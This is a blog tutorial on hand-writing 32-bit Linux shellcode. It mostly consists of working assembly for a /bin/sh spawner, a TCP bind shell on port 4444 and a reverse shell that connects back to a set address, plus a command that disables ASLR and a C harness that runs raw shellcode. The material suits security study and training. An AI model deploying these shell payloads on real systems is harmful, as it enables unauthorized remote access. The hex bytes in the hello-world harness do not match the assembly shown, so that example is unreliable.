Writing a Shell Code for Linux
Thilan Dissanayaka Exploit Development April 21, 2020

Writing a Shell Code for Linux

Linux Shellcode Development Tutorial - 32-bit Systems

Introduction

Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. Understanding shellcode development is crucial for penetration testers and security researchers to understand attack vectors and develop better defenses.

Important Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before testing on any systems.

Prerequisites

  • Basic understanding of assembly language
  • Knowledge of Linux system calls
  • Familiarity with debugging tools (gdb, objdump)
  • A 32-bit Linux environment or VM

Environment Setup

# Install necessary tools
sudo apt-get update
sudo apt-get install nasm gcc gdb strace

# Disable ASLR for consistent testing
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Understanding System Calls

Before writing shellcode, we need to understand how Linux system calls work. In 32-bit Linux:

  • System call number goes in EAX
  • Arguments go in EBX, ECX, EDX, ESI, EDI, EBP
  • Use int 0x80 to invoke the system call

Common system calls:

  • exit: syscall 1
  • write: syscall 4
  • execve: syscall 11

Chapter 1: Basic "Hello World" Shellcode

Let’s start with a simple shellcode that prints "Hello World" and exits.

Assembly Code (hello.asm)

section .text
global _start

_start:
    ; write system call
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov ecx, msg        ; message
    mov edx, msg_len    ; message length
    int 0x80            ; call kernel
    
    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

section .data
    msg db 'Hello World!', 0xa
    msg_len equ $ - msg

Converting to Position-Independent Code

Real shellcode needs to be position-independent. Here’s the improved version:

section .text
global _start

_start:
    jmp short call_shellcode

shellcode:
    ; write system call
    pop ecx             ; get message address
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov edx, 13         ; message length
    int 0x80            ; call kernel
    
    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

call_shellcode:
    call shellcode
    db 'Hello World!', 0xa

Compiling and Testing

# Assemble and link
nasm -f elf32 hello.asm -o hello.o
ld -m elf_i386 hello.o -o hello

# Test
./hello

# Extract shellcode
objdump -d hello | grep -E \"^ \" | cut -f2 | tr -d ' ' | tr -d '\n'

C Test Program

Create a test program to verify your shellcode:

#include <stdio.h>
#include <string.h>

char shellcode[] = 
\"\xeb\x19\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x0d\x00\"
\"\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\"
\"\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\"
\"\x21\x0a\";

int main() {
    printf(\"Shellcode length: %d\n\", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

Compile and test:

gcc -fno-stack-protector -z execstack -m32 test.c -o test
./test

Chapter 2: Shell Spawning Shellcode

Now let’s create shellcode that spawns a shell using execve(\"/bin/sh\", [\"/bin/sh\"], NULL).

Assembly Code (shell.asm)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    
    ; Push \"/bin/sh\" onto stack
    push eax        ; null terminator
    push 0x68732f6e ; \"n/sh\"
    push 0x69622f2f ; \"//bi\"
    mov ebx, esp    ; ebx points to \"/bin//sh\"
    
    ; Set up argv array
    push eax        ; argv[1] = NULL
    push ebx        ; argv[0] = \"/bin//sh\"
    mov ecx, esp    ; ecx points to argv
    
    ; execve system call
    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Optimized Version (Removing Null Bytes)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    push eax        ; null terminator
    
    ; Push \"/bin/sh\" onto stack
    push 0x68732f6e ; \"n/sh\"
    push 0x69622f2f ; \"//bi\"
    mov ebx, esp    ; ebx points to \"/bin//sh\"
    
    ; Set up argv and envp
    push eax        ; envp = NULL
    push ebx        ; argv[0] = \"/bin//sh\"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL (envp)
    
    ; execve system call
    mov al, 11      ; sys_execve (avoid null bytes)
    int 0x80        ; call kernel

Testing the Shell Shellcode

# Assemble and link
nasm -f elf32 shell.asm -o shell.o
ld -m elf_i386 shell.o -o shell

# Test
./shell

# Extract shellcode
objdump -d shell | grep -E \"^ \" | cut -f2 | tr -d ' ' | tr -d '\n'

Chapter 3: TCP Bind Shell

A bind shell listens on a port and provides shell access to connecting clients.

Assembly Code (bind_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    
    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    mov esi, eax    ; save socket fd
    
    ; bind(sockfd, {AF_INET, port, INADDR_ANY}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 2       ; SYS_BIND
    
    push edx        ; INADDR_ANY (0.0.0.0)
    push word 0x5c11 ; port 4444 (0x115c in network byte order)
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct
    
    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    ; listen(sockfd, 0)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 4       ; SYS_LISTEN
    push edx        ; backlog = 0
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    ; accept(sockfd, NULL, NULL)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 5       ; SYS_ACCEPT
    push edx        ; addrlen = NULL
    push edx        ; addr = NULL
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    mov ebx, eax    ; save client fd
    
    ; dup2(clientfd, 0/1/2) - redirect stdin/stdout/stderr
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop
    
    ; execve(\"/bin/sh\", [\"/bin/sh\"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; \"n/sh\"
    push 0x69622f2f ; \"//bi\"
    mov ebx, esp    ; ebx points to \"/bin//sh\"
    
    push eax        ; envp = NULL
    push ebx        ; argv[0] = \"/bin//sh\"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL
    
    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Testing the Bind Shell

# Compile
nasm -f elf32 bind_shell.asm -o bind_shell.o
ld -m elf_i386 bind_shell.o -o bind_shell

# Run in one terminal
./bind_shell

# Connect from another terminal
nc localhost 4444

Chapter 4: TCP Reverse Shell

A reverse shell connects back to an attacker’s machine.

Assembly Code (reverse_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    
    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    mov esi, eax    ; save socket fd
    
    ; connect(sockfd, {AF_INET, port, IP}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 3       ; SYS_CONNECT
    
    push 0x0100007f ; IP address (127.0.0.1 in network byte order)
    push word 0x5c11 ; port 4444
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct
    
    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel
    
    ; dup2(sockfd, 0/1/2) - redirect stdin/stdout/stderr
    mov ebx, esi    ; socket fd
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop
    
    ; execve(\"/bin/sh\", [\"/bin/sh\"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; \"n/sh\"
    push 0x69622f2f ; \"//bi\"
    mov ebx, esp    ; ebx points to \"/bin//sh\"
    
    push eax        ; envp = NULL
    push ebx        ; argv[0] = \"/bin//sh\"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL
    
    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Shellcode Optimization Techniques

1. Removing Null Bytes

Null bytes terminate strings in C, so they must be avoided:

; Bad - contains null bytes
mov eax, 1

; Good - avoids null bytes
xor eax, eax
inc eax

2. Size Optimization

Use shorter instructions:

; Longer
mov eax, 0
mov ebx, 0

; Shorter
xor eax, eax
xor ebx, ebx

3. Self-Modifying Code

For complex shellcode, you might need to decode encrypted payloads at runtime.

Testing and Debugging

Using GDB

gdb ./shellcode_test
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) disas shellcode
(gdb) x/20i shellcode

Using Strace

strace ./shellcode_test

Checking for Null Bytes

objdump -d shellcode | grep -P '\t00 '
ALSO READ
Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Remote Command Execution
Jan 02, 2020 Application Security

Remote Command Execution (RCE) is a critical security vulnerability that allows an attacker to execute arbitrary commands on a remote server. This vulnerability can lead to unauthorized access, data...

> > >